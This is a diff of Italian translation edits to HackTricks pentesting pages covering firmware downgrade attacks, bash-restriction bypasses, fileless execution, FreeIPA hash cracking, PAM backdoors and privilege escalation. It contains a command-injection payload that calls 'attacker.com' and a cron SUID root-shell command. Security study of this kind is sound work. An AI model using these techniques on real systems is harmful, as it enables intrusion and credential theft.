Pertanto, **non sarai in grado di accedere all'oggetto globale dell'app Flask** che ha definito la **chiave segreta** nella pagina principale:

28
src/hardware-physical-access/firmware-analysis/README.md
View File

@ -27,7 +27,7 @@ Il firmware è un software essenziale che consente ai dispositivi di funzionare
A questo scopo, gli strumenti di **intelligence open-source (OSINT)** sono inestimabili, così come l'analisi di eventuali componenti software open-source disponibili attraverso processi di revisione manuale e automatizzati. Strumenti come [Coverity Scan](https://scan.coverity.com) e [Semmle’s LGTM](https://lgtm.com/#explore) offrono analisi statica gratuita che possono essere sfruttate per trovare potenziali problemi.
## **Acquisizione del Firmware**
## **Acquisire il Firmware**
Ottenere il firmware può essere affrontato attraverso vari mezzi, ognuno con il proprio livello di complessità:
@ -66,7 +66,7 @@ Oppure [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/arc
### Ottenere il Filesystem
Con gli strumenti commentati in precedenza come `binwalk -ev <bin>` dovresti essere stato in grado di **estrarre il filesystem**.\
Con gli strumenti precedentemente commentati come `binwalk -ev <bin>` dovresti essere stato in grado di **estrarre il filesystem**.\
Binwalk di solito lo estrae all'interno di una **cartella chiamata come il tipo di filesystem**, che di solito è uno dei seguenti: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### Estrazione Manuale del Filesystem
@ -97,7 +97,7 @@ Alternativamente, il seguente comando potrebbe essere eseguito.
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
- Per squashfs (usato nell'esempio sopra)
- Per squashfs (utilizzato nell'esempio sopra)
`$ unsquashfs dir.squashfs`
@ -134,7 +134,7 @@ fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
Per valutare lo stato della crittografia dell'immagine, si controlla l'**entropia** con `binwalk -E <bin>`. Un'entropia bassa suggerisce una mancanza di crittografia, mentre un'entropia alta indica una possibile crittografia o compressione.
Per estrarre i **file incorporati**, si raccomandano strumenti e risorse come la documentazione di **file-data-carving-recovery-tools** e **binvis.io** per l'ispezione dei file.
Per estrarre i **file incorporati**, si raccomandano strumenti e risorse come la documentazione **file-data-carving-recovery-tools** e **binvis.io** per l'ispezione dei file.
### Estrazione del Filesystem
@ -162,7 +162,7 @@ Diverse strumenti assistono nel rivelare informazioni sensibili e vulnerabilità
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) e [**Firmwalker**](https://github.com/craigz28/firmwalker) per la ricerca di informazioni sensibili
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) per un'analisi completa del firmware
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) e [**EMBA**](https://github.com/e-m-b-a/emba) per analisi statica e dinamica
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), e [**EMBA**](https://github.com/e-m-b-a/emba) per analisi statica e dinamica
### Controlli di Sicurezza sui Binari Compilati
@ -186,7 +186,7 @@ E per installare gli strumenti di emulazione necessari:
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
Per MIPS (big-endian), si utilizza `qemu-mips`, e per i binari little-endian, la scelta sarebbe `qemu-mipsel`.
Per MIPS (big-endian), si utilizza `qemu-mips`, e per i binari little-endian, `qemu-mipsel` sarebbe la scelta.
#### Emulazione dell'Architettura ARM
@ -200,22 +200,22 @@ Strumenti come [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware An
A questo stadio, viene utilizzato un ambiente di dispositivo reale o emulato per l'analisi. È essenziale mantenere l'accesso shell al sistema operativo e al filesystem. L'emulazione potrebbe non imitare perfettamente le interazioni hardware, rendendo necessari occasionali riavvii dell'emulazione. L'analisi dovrebbe riesaminare il filesystem, sfruttare le pagine web e i servizi di rete esposti, ed esplorare le vulnerabilità del bootloader. I test di integrità del firmware sono critici per identificare potenziali vulnerabilità di backdoor.
## Tecniche di Analisi Runtime
## Tecniche di Analisi in Esecuzione
L'analisi runtime implica l'interazione con un processo o un binario nel suo ambiente operativo, utilizzando strumenti come gdb-multiarch, Frida e Ghidra per impostare breakpoint e identificare vulnerabilità attraverso fuzzing e altre tecniche.
L'analisi in esecuzione implica l'interazione con un processo o un binario nel suo ambiente operativo, utilizzando strumenti come gdb-multiarch, Frida e Ghidra per impostare punti di interruzione e identificare vulnerabilità attraverso fuzzing e altre tecniche.
## Sfruttamento Binario e Proof-of-Concept
Sviluppare un PoC per vulnerabilità identificate richiede una profonda comprensione dell'architettura target e programmazione in linguaggi di basso livello. Le protezioni runtime binarie nei sistemi embedded sono rare, ma quando presenti, tecniche come il Return Oriented Programming (ROP) possono essere necessarie.
Sviluppare un PoC per le vulnerabilità identificate richiede una profonda comprensione dell'architettura target e programmazione in linguaggi di basso livello. Le protezioni in esecuzione binaria nei sistemi embedded sono rare, ma quando presenti, tecniche come il Return Oriented Programming (ROP) possono essere necessarie.
## Sistemi Operativi Preparati per l'Analisi del Firmware
Sistemi operativi come [AttifyOS](https://github.com/adi0x90/attifyos) e [EmbedOS](https://github.com/scriptingxss/EmbedOS) forniscono ambienti preconfigurati per il testing della sicurezza del firmware, dotati degli strumenti necessari.
Sistemi operativi come [AttifyOS](https://github.com/adi0x90/attifyos) e [EmbedOS](https://github.com/scriptingxss/EmbedOS) forniscono ambienti pre-configurati per il testing della sicurezza del firmware, dotati degli strumenti necessari.
## OS Preparati per Analizzare il Firmware
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS è una distribuzione destinata ad aiutarti a eseguire valutazioni di sicurezza e penetration testing di dispositivi Internet of Things (IoT). Ti fa risparmiare molto tempo fornendo un ambiente preconfigurato con tutti gli strumenti necessari caricati.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Sistema operativo per il testing della sicurezza embedded basato su Ubuntu 18.04 precaricato con strumenti per il testing della sicurezza del firmware.
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS è una distribuzione destinata ad aiutarti a eseguire valutazioni di sicurezza e penetration testing di dispositivi Internet of Things (IoT). Ti fa risparmiare molto tempo fornendo un ambiente pre-configurato con tutti gli strumenti necessari caricati.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Sistema operativo per il testing della sicurezza embedded basato su Ubuntu 18.04 pre-caricato con strumenti per il testing della sicurezza del firmware.
## Attacchi di Downgrade del Firmware e Meccanismi di Aggiornamento Insicuri
@ -230,7 +230,7 @@ Flusso di attacco tipico:
2. **Caricare o servire l'immagine al dispositivo** tramite qualsiasi canale di aggiornamento esposto:
* Interfaccia Web, API dell'app mobile, USB, TFTP, MQTT, ecc.
* Molti dispositivi IoT consumer espongono endpoint HTTP(S) *non autenticati* che accettano blob di firmware codificati in Base64, li decodificano lato server e attivano il ripristino/aggiornamento.
3. Dopo il downgrade, sfruttare una vulnerabilità che è stata corretta nella versione più recente (ad esempio, un filtro di injection di comandi che è stato aggiunto successivamente).
3. Dopo il downgrade, sfruttare una vulnerabilità che è stata corretta nella versione più recente (ad esempio, un filtro di iniezione di comandi che è stato aggiunto successivamente).
4. Facoltativamente, flashare l'immagine più recente o disabilitare gli aggiornamenti per evitare il rilevamento una volta ottenuta la persistenza.
### Esempio: Iniezione di Comandi Dopo il Downgrade
@ -240,7 +240,7 @@ Host: 192.168.0.1
Content-Type: application/octet-stream
Content-Length: 0
```
Nel firmware vulnerabile (downgradato), il parametro `md5` è concatenato direttamente in un comando shell senza sanificazione, consentendo l'iniezione di comandi arbitrari (qui – abilitando l'accesso root basato su chiave SSH). Le versioni firmware successive hanno introdotto un filtro di caratteri di base, ma l'assenza di protezione contro il downgrade rende la correzione inutile.
Nel firmware vulnerabile (downgradato), il parametro `md5` è concatenato direttamente in un comando shell senza sanificazione, consentendo l'iniezione di comandi arbitrari (qui – abilitazione dell'accesso root basato su chiave SSH). Le versioni firmware successive hanno introdotto un filtro di caratteri di base, ma l'assenza di protezione contro il downgrade rende la correzione inutile.
### Estrazione del Firmware da App Mobili

8
src/linux-hardening/bypass-bash-restrictions/README.md
View File

@ -202,7 +202,7 @@ if [ "a" ]; then echo 1; fi # Will print hello!
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Bypassare potenziali regex
### Bypass potenziali regex
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
@ -298,17 +298,19 @@ ln /f*
Se ti trovi all'interno di un filesystem con le **protezioni read-only e noexec** o anche in un container distroless, ci sono ancora modi per **eseguire binari arbitrari, anche una shell!:**
{{#ref}}
bypass-fs-protections-read-only-no-exec-distroless/
{{#endref}}
## Bypass di Chroot e altre Jails
{{#ref}}
../privilege-escalation/escaping-from-limited-bash.md
{{#endref}}
## NOP Sled Basato su Spazio ("Bashsledding")
## Bash NOP Sled Basato su Spazio ("Bashsledding")
Quando una vulnerabilità ti consente di controllare parzialmente un argomento che alla fine raggiunge `system()` o un'altra shell, potresti non conoscere l'offset esatto in cui l'esecuzione inizia a leggere il tuo payload. I tradizionali NOP sled (ad es. `\x90`) **non** funzionano nella sintassi della shell, ma Bash ignorerà in modo innocuo gli spazi bianchi iniziali prima di eseguire un comando.
@ -328,7 +330,7 @@ Casi d'uso pratici:
> 🛠️ Combina questo trucco con gadget ROP che chiamano `system()` per aumentare drasticamente l'affidabilità dell'exploit su router IoT con memoria limitata.
## Riferimenti e ulteriori informazioni
## Riferimenti e altro
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)

11
src/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
View File

@ -2,6 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## Videos
Nei seguenti video puoi trovare le tecniche menzionate in questa pagina spiegate più in dettaglio:
@ -33,19 +34,19 @@ Tuttavia, anche se il file system è montato come ro, **`/dev/shm`** sarà comun
## Easiest bypass: Scripts
Nota che ho menzionato i binari, puoi **eseguire qualsiasi script** purché l'interprete sia presente nella macchina, come uno **script shell** se `sh` è presente o uno **script python** se `python` è installato.
Nota che ho menzionato i binari, puoi **eseguire qualsiasi script** purché l'interprete sia presente nella macchina, come uno **shell script** se `sh` è presente o uno **script python** se `python` è installato.
Tuttavia, questo non è sufficiente per eseguire la tua backdoor binaria o altri strumenti binari che potresti aver bisogno di eseguire.
## Memory Bypasses
Se vuoi eseguire un binario ma il file system non lo consente, il modo migliore per farlo è **eseguirlo dalla memoria**, poiché le **protezioni non si applicano lì**.
Se vuoi eseguire un binario ma il file system non lo consente, il modo migliore per farlo è **eseguirlo dalla memoria**, poiché **le protezioni non si applicano lì**.
### FD + exec syscall bypass
Se hai alcuni potenti motori di script all'interno della macchina, come **Python**, **Perl** o **Ruby**, potresti scaricare il binario da eseguire dalla memoria, memorizzarlo in un descrittore di file di memoria (`create_memfd` syscall), che non sarà protetto da quelle protezioni e poi chiamare una **`exec` syscall** indicando il **fd come file da eseguire**.
Per questo puoi facilmente utilizzare il progetto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Puoi passarci un binario e genererà uno script nel linguaggio indicato con il **binario compresso e b64 codificato** con le istruzioni per **decodificarlo e decomprimerlo** in un **fd** creato chiamando la syscall `create_memfd` e una chiamata alla syscall **exec** per eseguirlo.
Per questo puoi facilmente utilizzare il progetto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Puoi passarci un binario e genererà uno script nel linguaggio indicato con il **binario compresso e codificato in b64** con le istruzioni per **decodificarlo e decomprimerlo** in un **fd** creato chiamando la syscall `create_memfd` e una chiamata alla syscall **exec** per eseguirlo.
> [!WARNING]
> Questo non funziona in altri linguaggi di scripting come PHP o Node perché non hanno alcun **modo predefinito per chiamare syscall raw** da uno script, quindi non è possibile chiamare `create_memfd` per creare il **memory fd** per memorizzare il binario.
@ -72,7 +73,7 @@ ddexec.md
### MemExec
[**Memexec**](https://github.com/arget13/memexec) è il passo naturale successivo di DDexec. È un **DDexec shellcode demonizzato**, quindi ogni volta che vuoi **eseguire un binario diverso** non è necessario rilanciare DDexec, puoi semplicemente eseguire il shellcode memexec tramite la tecnica DDexec e poi **comunicare con questo demone per passare nuovi binari da caricare ed eseguire**.
[**Memexec**](https://github.com/arget13/memexec) è il passo naturale successivo di DDexec. È un **DDexec shellcode demonizzato**, quindi ogni volta che vuoi **eseguire un binario diverso** non è necessario rilanciare DDexec, puoi semplicemente eseguire il shellcode di memexec tramite la tecnica DDexec e poi **comunicare con questo demone per passare nuovi binari da caricare ed eseguire**.
Puoi trovare un esempio su come usare **memexec per eseguire binari da una reverse shell PHP** in [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
@ -95,7 +96,7 @@ In un container distroless potresti **non trovare nemmeno `sh` o `bash`** per ot
> [!WARNING]
> Pertanto, **non** sarai in grado di ottenere una **reverse shell** o **enumerare** il sistema come fai di solito.
Tuttavia, se il container compromesso sta eseguendo ad esempio un'app flask, allora python è installato, e quindi puoi ottenere una **reverse shell Python**. Se sta eseguendo node, puoi ottenere una reverse shell Node, e lo stesso vale per quasi qualsiasi **linguaggio di scripting**.
Tuttavia, se il container compromesso sta eseguendo ad esempio un'app Flask, allora Python è installato, e quindi puoi ottenere una **reverse shell Python**. Se sta eseguendo Node, puoi ottenere una reverse shell Node, e lo stesso vale per quasi qualsiasi **linguaggio di scripting**.
> [!TIP]
> Utilizzando il linguaggio di scripting potresti **enumerare il sistema** utilizzando le capacità del linguaggio.

28
src/linux-hardening/freeipa-pentesting.md
View File

@ -10,14 +10,14 @@ FreeIPA è un **alternativa** open-source a Microsoft Windows **Active Directory
### File e Variabili d'Ambiente
- Il file in `/etc/krb5.conf` è dove sono memorizzate le informazioni del client Kerberos, necessarie per l'iscrizione nel dominio. Questo include le posizioni dei KDC e dei server admin, le impostazioni predefinite e le mappature.
- Il file in `/etc/krb5.conf` è dove sono memorizzate le informazioni del client Kerberos, necessarie per l'iscrizione nel dominio. Questo include le posizioni dei KDC e dei server di amministrazione, le impostazioni predefinite e le mappature.
- Le impostazioni predefinite a livello di sistema per i client e i server IPA sono impostate nel file situato in `/etc/ipa/default.conf`.
- Gli host all'interno del dominio devono avere un file `krb5.keytab` in `/etc/krb5.keytab` per i processi di autenticazione.
- Diverse variabili d'ambiente (`KRB5CCNAME`, `KRB5_KTNAME`, `KRB5_CONFIG`, `KRB5_KDC_PROFILE`, `KRB5RCACHETYPE`, `KRB5RCACHEDIR`, `KRB5_TRACE`, `KRB5_CLIENT_KTNAME`, `KPROP_PORT`) sono utilizzate per puntare a file e impostazioni specifiche relative all'autenticazione Kerberos.
- Diverse variabili d'ambiente (`KRB5CCNAME`, `KRB5_KTNAME`, `KRB5_CONFIG`, `KRB5_KDC_PROFILE`, `KRB5RCACHETYPE`, `KRB5RCACHEDIR`, `KRB5_TRACE`, `KRB5_CLIENT_KTNAME`, `KPROP_PORT`) sono utilizzate per puntare a file e impostazioni specifiche rilevanti per l'autenticazione Kerberos.
### Binaries
Strumenti come `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch` e `kvno` sono centrali per la gestione dei domini FreeIPA, gestendo i ticket Kerberos, cambiando le password e acquisendo i ticket di servizio, tra le altre funzionalità.
Strumenti come `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch` e `kvno` sono fondamentali per gestire i domini FreeIPA, gestire i ticket Kerberos, cambiare le password e acquisire i ticket di servizio, tra le altre funzionalità.
### Rete
@ -25,15 +25,15 @@ Viene fornita un'illustrazione per rappresentare una tipica configurazione del s
## Autenticazione
L'autenticazione in FreeIPA, sfruttando **Kerberos**, rispecchia quella in **Active Directory**. L'accesso alle risorse del dominio richiede un ticket Kerberos valido, che può essere memorizzato in varie posizioni a seconda della configurazione del dominio FreeIPA.
L'autenticazione in FreeIPA, sfruttando **Kerberos**, rispecchia quella in **Active Directory**. L'accesso alle risorse del dominio richiede un ticket Kerberos valido, che può essere memorizzato in diverse posizioni a seconda della configurazione del dominio FreeIPA.
### **File Ticket CCACHE**
I file CCACHE, memorizzati tipicamente in **`/tmp`** con permessi **600**, sono formati binari per memorizzare le credenziali Kerberos, importanti per l'autenticazione senza la password in chiaro dell'utente grazie alla loro portabilità. L'analisi di un ticket CCACHE può essere effettuata utilizzando il comando `klist`, e il riutilizzo di un ticket CCACHE valido comporta l'esportazione di `KRB5CCNAME` nel percorso del file del ticket.
I file CCACHE, memorizzati tipicamente in **`/tmp`** con permessi **600**, sono formati binari per memorizzare le credenziali Kerberos, importanti per l'autenticazione senza la password in chiaro dell'utente grazie alla loro portabilità. L'analisi di un ticket CCACHE può essere effettuata utilizzando il comando `klist`, e riutilizzare un ticket CCACHE valido comporta l'esportazione di `KRB5CCNAME` nel percorso del file del ticket.
### **Keyring Unix**
### **Unix Keyring**
In alternativa, i ticket CCACHE possono essere memorizzati nel keyring di Linux, offrendo maggiore controllo sulla gestione dei ticket. L'ambito della memorizzazione dei ticket varia (`KEYRING:name`, `KEYRING:process:name`, `KEYRING:thread:name`, `KEYRING:session:name`, `KEYRING:persistent:uidnumber`), con `klist` capace di analizzare queste informazioni per l'utente. Tuttavia, il riutilizzo di un ticket CCACHE dal keyring Unix può presentare sfide, con strumenti come **Tickey** disponibili per estrarre i ticket Kerberos.
In alternativa, i ticket CCACHE possono essere memorizzati nel keyring di Linux, offrendo maggiore controllo sulla gestione dei ticket. L'ambito della memorizzazione dei ticket varia (`KEYRING:name`, `KEYRING:process:name`, `KEYRING:thread:name`, `KEYRING:session:name`, `KEYRING:persistent:uidnumber`), con `klist` capace di analizzare queste informazioni per l'utente. Tuttavia, riutilizzare un ticket CCACHE dal keyring Unix può presentare sfide, con strumenti come **Tickey** disponibili per estrarre i ticket Kerberos.
### Keytab
@ -74,7 +74,7 @@ ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local"
# Get hosts groups
ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
```
Da una macchina unita al dominio, sarai in grado di utilizzare **binaries installati** per enumerare il dominio:
Da una macchina unita al dominio sarai in grado di utilizzare **binaries installati** per enumerare il dominio:
```bash
ipa user-find
ipa usergroup-find
@ -88,23 +88,23 @@ ipa usergroup-show <user group> --all
ipa host-find <host> --all
ipa hostgroup-show <host group> --all
```
> [!NOTE]
> [!TIP]
> L'utente **admin** di **FreeIPA** è l'equivalente degli **admin di dominio** di **AD**.
### Hashes <a href="#id-482b" id="id-482b"></a>
L'utente **root** del **server IPA** ha accesso agli **hash** delle password.
L'utente **root** del server **IPA** ha accesso agli **hash** delle password.
- L'hash della password di un utente è memorizzato come **base64** nell'attributo “**userPassword**”. Questo hash potrebbe essere **SSHA512** (versioni precedenti di FreeIPA) o **PBKDF2_SHA256**.
- L'**Nthash** della password è memorizzato come **base64** in “**ipaNTHash**” se il sistema ha **integrazione** con **AD**.
Per decifrare questi hash:
• Se freeIPA è integrato con AD, **ipaNTHash** è facile da decifrare: Dovresti **decodificare** **base64** -> ri-codificarlo come **ASCII** esadecimale -> John The Ripper o **hashcat** possono aiutarti a decifrarlo rapidamente
• Se FreeIPA è integrato con AD, **ipaNTHash** è facile da decifrare: Dovresti **decodificare** **base64** -> ri-ricodificarlo come **ASCII** esadecimale -> John The Ripper o **hashcat** possono aiutarti a decifrarlo rapidamente
• Se viene utilizzata una vecchia versione di FreeIPA, allora si usa **SSHA512**: Dovresti decodificare **base64** -> trovare l'**hash** SSHA512 -> John The Ripper o **hashcat** possono aiutarti a decifrarlo
• Se viene utilizzata una vecchia versione di FreeIPA, allora si utilizza **SSHA512**: Dovresti decodificare **base64** -> trovare l'**hash** SSHA512 -> John The Ripper o **hashcat** possono aiutarti a decifrarlo
• Se viene utilizzata una nuova versione di FreeIPA, allora si usa **PBKDF2_SHA256**: Dovresti decodificare **base64** -> trovare PBKDF2_SHA256 -> la sua **lunghezza** è di 256 byte. John può lavorare con 256 bit (32 byte) -> SHA-265 è usato come funzione pseudo-casuale, la dimensione del blocco è di 32 byte -> puoi usare solo i primi 256 bit del nostro hash PBKDF2_SHA256 -> John The Ripper o hashcat possono aiutarti a decifrarlo
• Se viene utilizzata una nuova versione di FreeIPA, allora si utilizza **PBKDF2_SHA256**: Dovresti decodificare **base64** -> trovare PBKDF2_SHA256 -> la sua **lunghezza** è di 256 byte. John può lavorare con 256 bit (32 byte) -> SHA-265 è utilizzato come funzione pseudo-casuale, la dimensione del blocco è di 32 byte -> puoi usare solo i primi 256 bit del nostro hash PBKDF2_SHA256 -> John The Ripper o hashcat possono aiutarti a decifrarlo
<figure><img src="../images/image (655).png" alt=""><figcaption></figcaption></figure>
@ -114,7 +114,7 @@ Per estrarre gli hash devi essere **root nel server FreeIPA**, lì puoi usare lo
### HBAC-Rules <a href="#id-482b" id="id-482b"></a>
Ci sono regole che concedono permessi specifici a utenti o host su risorse (host, servizi, gruppi di servizi...)
Ci sono le regole che concedono permessi specifici a utenti o host su risorse (host, servizi, gruppi di servizi...)
```bash
# Enumerate using ldap
ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local"

8
src/linux-hardening/linux-post-exploitation/README.md
View File

@ -10,10 +10,10 @@ Configuriamo un modulo PAM per registrare ogni password che ogni utente utilizza
pam-pluggable-authentication-modules.md
{{#endref}}
**Per ulteriori dettagli, controlla il [post originale](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Questo è solo un riassunto:
**Per ulteriori dettagli, controlla il [post originale](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Questo è solo un riepilogo:
**Panoramica della Tecnica:**
I Moduli di Autenticazione Pluggabili (PAM) offrono flessibilità nella gestione dell'autenticazione sui sistemi basati su Unix. Possono migliorare la sicurezza personalizzando i processi di accesso, ma possono anche comportare rischi se utilizzati in modo improprio. Questo riassunto delinea una tecnica per catturare le credenziali di accesso utilizzando PAM, insieme a strategie di mitigazione.
I Moduli di Autenticazione Pluggabili (PAM) offrono flessibilità nella gestione dell'autenticazione sui sistemi basati su Unix. Possono migliorare la sicurezza personalizzando i processi di accesso, ma possono anche comportare rischi se utilizzati in modo improprio. Questo riepilogo delinea una tecnica per catturare le credenziali di accesso utilizzando PAM, insieme a strategie di mitigazione.
**Cattura delle Credenziali:**
@ -31,7 +31,7 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
```
### Backdooring PAM
**Per ulteriori dettagli controlla il [post originale](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Questo è solo un riassunto:
**Per ulteriori dettagli, controlla il [post originale](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Questo è solo un riassunto:
Il Modulo di Autenticazione Pluggabile (PAM) è un sistema utilizzato sotto Linux per l'autenticazione degli utenti. Si basa su tre concetti principali: **nome utente**, **password** e **servizio**. I file di configurazione per ogni servizio si trovano nella directory `/etc/pam.d/`, dove le librerie condivise gestiscono l'autenticazione.
@ -47,7 +47,7 @@ Il Modulo di Autenticazione Pluggabile (PAM) è un sistema utilizzato sotto Linu
4. **Test**:
- L'accesso è concesso attraverso vari servizi (login, ssh, sudo, su, screensaver) con la password predefinita, mentre i normali processi di autenticazione rimangono inalterati.
> [!NOTE]
> [!TIP]
> Puoi automatizzare questo processo con [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
{{#include ../../banners/hacktricks-training.md}}

102
src/linux-hardening/privilege-escalation/README.md
View File

@ -12,7 +12,7 @@ Iniziamo a ottenere alcune informazioni sul SO in esecuzione
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
```
### Percorso
### Path
Se **hai permessi di scrittura su qualsiasi cartella all'interno della variabile `PATH`** potresti essere in grado di dirottare alcune librerie o binari:
```bash
@ -138,7 +138,7 @@ cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
```
## Software utile
## Software utili
Enumerare i binari utili
```bash
@ -230,14 +230,14 @@ rm $1*.bin
```
#### /dev/mem
`/dev/mem` fornisce accesso alla **memoria** fisica del sistema, non alla memoria virtuale. Lo spazio degli indirizzi virtuali del kernel può essere accessibile utilizzando /dev/kmem.\
`/dev/mem` fornisce accesso alla **memoria** fisica del sistema, non alla memoria virtuale. Lo spazio degli indirizzi virtuali del kernel può essere accesso utilizzando /dev/kmem.\
Tipicamente, `/dev/mem` è leggibile solo da **root** e dal gruppo **kmem**.
```
strings /dev/mem -n10 | grep -i PASS
```
### ProcDump per linux
ProcDump è una reinterpretazione per Linux dello strumento classico ProcDump della suite di strumenti Sysinternals per Windows. Ottienilo su [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
ProcDump è una reinterpretazione per Linux del classico strumento ProcDump della suite di strumenti Sysinternals per Windows. Ottienilo su [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
```
procdump -p 1714
@ -315,7 +315,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
```
## Scheduled/Cron jobs
Controlla se qualche lavoro programmato è vulnerabile. Forse puoi approfittare di uno script eseguito da root (vulnerabilità wildcard? può modificare file che usa root? usare symlink? creare file specifici nella directory che usa root?).
Controlla se qualche lavoro programmato è vulnerabile. Forse puoi approfittare di uno script eseguito da root (vulnerabilità wildcard? può modificare file che root utilizza? usare symlink? creare file specifici nella directory che root utilizza?).
```bash
crontab -l
ls -al /etc/cron* /etc/at*
@ -325,9 +325,9 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
Ad esempio, all'interno di _/etc/crontab_ puoi trovare il PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
(_Nota come l'utente "user" abbia privilegi di scrittura su /home/user_)
(_Nota come l'utente "user" ha privilegi di scrittura su /home/user_)
Se all'interno di questo crontab l'utente root prova a eseguire qualche comando o script senza impostare il percorso. Ad esempio: _\* \* \* \* root overwrite.sh_\
Se all'interno di questo crontab l'utente root cerca di eseguire qualche comando o script senza impostare il percorso. Ad esempio: _\* \* \* \* root overwrite.sh_\
Allora, puoi ottenere una shell root usando:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
@ -344,6 +344,7 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys
Leggi la seguente pagina per ulteriori trucchi di sfruttamento dei caratteri jolly:
{{#ref}}
wildcards-spare-tricks.md
{{#endref}}
@ -360,11 +361,11 @@ Se lo script eseguito da root utilizza una **directory a cui hai accesso complet
```bash
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
```
### Frequent cron jobs
### Lavori cron frequenti
Puoi monitorare i processi per cercare processi che vengono eseguiti ogni 1, 2 o 5 minuti. Forse puoi approfittarne e aumentare i privilegi.
Puoi monitorare i processi per cercare quelli che vengono eseguiti ogni 1, 2 o 5 minuti. Potresti approfittarne per elevare i privilegi.
Ad esempio, per **monitorare ogni 0.1s per 1 minuto**, **ordinare per comandi meno eseguiti** e eliminare i comandi che sono stati eseguiti di più, puoi fare:
Ad esempio, per **monitorare ogni 0,1s per 1 minuto**, **ordinare per comandi meno eseguiti** e eliminare i comandi che sono stati eseguiti di più, puoi fare:
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
@ -372,7 +373,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### Lavori cron invisibili
È possibile creare un cronjob **mettendo un ritorno a capo dopo un commento** (senza carattere di nuova linea), e il lavoro cron funzionerà. Esempio (nota il carattere di ritorno a capo):
È possibile creare un cronjob **mettendo un ritorno a capo dopo un commento** (senza carattere di nuova riga), e il lavoro cron funzionerà. Esempio (nota il carattere di ritorno a capo):
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
@ -403,9 +404,9 @@ Poi, crea un **eseguibile** con lo **stesso nome del percorso relativo del binar
**Scopri di più sui servizi con `man systemd.service`.**
## **Timers**
## **Timer**
I **Timers** sono file di unità systemd il cui nome termina con `**.timer**` che controllano i file o eventi `**.service**`. I **Timers** possono essere utilizzati come alternativa a cron poiché hanno supporto integrato per eventi di tempo del calendario e eventi di tempo monotono e possono essere eseguiti in modo asincrono.
